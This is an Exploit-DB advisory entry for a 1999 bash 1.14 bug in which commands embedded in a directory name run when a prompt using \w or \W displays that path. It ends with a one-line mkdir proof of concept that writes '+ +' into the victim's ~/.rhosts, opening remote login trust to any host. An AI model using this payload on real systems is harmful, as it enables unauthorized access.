GNU GNU bash 1.14 - Path Embedded Code Execution

EDB-ID:

19095


Author:

Shadow

Type:

local


Platform:

Linux

Date:

1999-04-20


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

source: https://www.securityfocus.com/bid/119/info

A vulnerability in bash may allow inadvertently running commands embedded in the path to the currently working directory.

If an unsuspecting user enters a directory created by some malicious user with embedded commands, and their prompt (PS1) contains '\w' or '\W', and the prompt is displayed the commands will be executed. The vulnerability is in the parsing of the '\w' and '\W' escape codes.

As the prompt must be displayed unattended shell scripts are not vulnerable.

mkdir "\`echo -e \"echo + +> ~\57.rhosts\" > x; source x; rm -f \x\` "